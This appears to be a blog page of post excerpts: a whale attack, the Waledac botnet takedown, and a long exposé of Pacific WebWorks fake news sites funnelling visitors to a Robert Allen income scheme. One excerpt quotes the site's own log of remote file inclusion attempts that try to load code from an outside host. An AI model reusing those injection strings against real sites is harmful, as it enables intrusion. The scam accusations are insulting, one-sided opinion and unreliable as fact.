She’d wanted to work with whales ever since she was a little girl, and got her wish fulfilled.
Now, since Dawn Brancheau’s death, there has been gnashing of teeth and wringing of hands, pointing of fingers and loading of guns, because this particular whale has now been responsible for three deaths since it’s captivity. It’s the “dangerous dog” mentality.
However, as anyone who has a dog or cat will know, small bites and scratches are not uncommon with these domesticated animals, even the nice ones…
And the six tonne whale,an apex predator, capable of swimming at 30 knots, armed with 3 inch teeth, even it was being ‘playful’ in it’s own terms, was only living up to it’s name…
From the Department of the Bleeding Obvious World Bank warns of social unrest In this little snippet we find that bad things are going to happen because of the financial crisis! I we consider that the top bank in the world is “The World Bank” (i.e. it’s in the name), and the top bank has...
These screen-shot pictures describe the route from a Pacific Webworks (PWW) business plug to an example of a teeth-whitening advert. This route is a common one for internet scammers who make use of a plethora of Fake Blogs and News sites (like here) to further promote their dodgy dealings. In this case, the website template...
I had about half the usual quantity of spam this morning.
Maybe this is a consequence of Microsoft’s action against a huge list of domains which have been thought to be controlling thousands of computers in a botnet? Dubbed Waledac, the botnet is thought to have chucked out 1.5 billion spams from ~90k computers controlled by 277 domains. They reckoned in 18 days last December ~650 million spams went to Hotmail alone….
Microsoft called the technical and legal action Operation b49.
Remove Referrals Information from This Website because of Malware Like many blogs, this website has displayed the last few hits (referrals) that it’s received as a kind of ‘live’ activity recorder and a small service back to the referring website. However, I’ve had to pull this from my front page because over the last few...
Multiple Attempts to Drop Trojan on This Website Failed These are the Wassup details of the attack 18.104.22.168 2009-06-13 10:48:00 //?_SERVER[DOCUMENT_ROOT]=http://ww(…)omponents/com_frontpage/test.txt?? Referrer: Direct hit Hostname: 22.214.171.124 User Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) OS: WinVista BROWSER: IE 7 10:33:14 ->//?_SERVER[DOCUMENT_ROOT]=http://www.fox(…)com/components/com_frontpage/test.txt?? 10:34:03 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:34:30 ->/3099/google-treasure-chest-its-a-scam-a(…)com/components/com_frontpage/test.txt?? 10:37:43 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:37:46 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? 10:47:59 ->/3099////?_SERVER[DOCUMENT_ROOT]=http://(…)com/components/com_frontpage/test.txt?? 10:48:00 ->////?_SERVER[DOCUMENT_ROOT]=http://www.f(…)com/components/com_frontpage/test.txt?? As...
Spring, last year, was when I first stumbled upon Pacific WebWorks (PWW) and their nefarious schemes. That was when I happened upon Google Treasure Chest, one of their many scams.
This then ballooned into a miasma of a web of crime which frankly astonished me.
Then, across the globe, many people fought against the scammers and there have been some small victories when the (mainly USA) authorities have used the law against them.
But as many scribes (e.g. Paul Schlegel) pointed out (e.g. here), it would, and it has all returned.
Okay Subject Please!
I’ve been trawling through the old posts on this website to see how the websites have changed. True, Google Treasure Chest has sunk to the bottom of the ocean, but many of the old websites are still around. They, the suck-in sites for the real ‘products’, divide, broadly, into two camps:
Fake blog sites
Fake News sites
Most of the fake blogs are gone, but most of the fake news sites are still around! What has happened is with some very quick coding, all the pointers go to new, non-google type sites. You can tell that the coding was quick because Google is still there in the hyperlink descriptions!!!
Initial information on a fake News Site from @Not Kevin is here. He said;
This is the fake news website here: http://www.businessgazette.net/finance/article-3910/ A screen-dump is shown on the right.
Hover your mouse over the ads or the links in the “Business Gazette” page. They are all the same and they all point to http://www.businessgazette.net/google/ – Notice the word “GOOGLE” !!! Compared to previously, the links are now slimmed down to one!
Now click the link and it redirects to a really annoying, automatically starting audio from someone called Ivan Fienney at this website: http://www.ivanblogsecrets.com/campaigns/rgah/IF_1_new.php?linkid=212144&subid=50519&subid2=65513 This link shows all the affiliate IDs etc.
However, if you strip them out, the page will still load from this address, http://www.ivanblogsecrets.com/campaigns/rgah/IF_1_new.php, or if you type in or click http://www.ivanblogsecrets.com
Ivan the Terrible
If you listen to the smarmy voice, he’ll claim that it’s a real established business, is NOT MLM, is not a Pyramid scheme etc etc. That’s him on the left.
Q. Where do his links go?
A. They go to something called a “Instant Wealth Program”. You’ll find that the linking URL is http://212144.msicourse.com/
Q. So who could it be?
A. It’s that slimeball Robert Allen, famed for his spam, famed for his bankrupty, famed for real-estate dodgy deals.
Now Ivan Fienney, if you can stand the audio, claims that it’s not real estate or a scam, and yet, as I made plain last year, in Robert Allen’s own claims he DOES use real estate in one of his “plans”!
If you listen to Ivan until the 8:00 mark, you’ll find that the whole “plan” actually is “posting links on Google”. Well what a surprise, I’m sure!
And there we have it. The “Instant Wealth Scheme” is the old, old “make money with Google” scheme again. Good ol’ Bobby Allen. Aaah.
Robert Allen – Multiple Streams of Income
The quaintly entitled website, http://212144.msicourse.com/, is indeed Robert Allen. He’s hidden it’s WHOIS details using Moniker Privacy Services. However, check out the screen-dump below and right (as well as Ivan’s above).
Multiple Streams of Income
He claims various things, like “as seen on TV” (the Aussie one I saw was investigative journalism where he refused to speak and the reporters were bundled out of the room!) or NY Times. Maybe they are all investigative reports into his scam activities? Maybe they’re all a figment of ol’ Bobby’s fevered imagination? Who knows?
Also notice that his website uses the famed “countdown timer”, a tactic abrasively commented upon in recent USA court cases against scammers. If, like me, you’ve been on the page too long, it’ll helpfully prompt you when “time runs out” – and then gives you a whole extra ten minutes to make up your mind. Gosh. It’ll even do it again – with another 10 minutes!
I think I’ll pass on all that, if you don’t mind.
Robert Allen proudly states that he uses Prosper Inc for his “services”. They, of course, are from Utah, see their contacts page here: http://www.prosperlearning.com/contact.html
Erroneous statement deleted. Too many prospers but all info gratefully accepted.. (SP)
Now see the following few examples of complaints and worries:
Last year’s post on Robert Allen is here. Robert G Allen, Grants, and a Credit Card Slimeball. From all of this, you can probably tell that he’s not on my Xmas Card list! To confirm this, see various links which expose ol’ Bobby for what he was, and still is!
Introduction This is a small investigation into mail lists and scammy companies. Some companies are fine, but I always go by the adage to judge a man by the company he keeps. This shows how lists spread far beyond their initial purpose when you sign up for something. It also shows how the privacy policies...
Introduction I knew there was something really, really dodgy about that MyBookFace.net crap highlighted in this post the other day. Not only are they connected to some serious malware (as detailed in the posting), but they’ve an interesting line in popups!!! Google Treasure Chest Rises Yet Again! Here’s what to do… Go to http://mybookface.net making...
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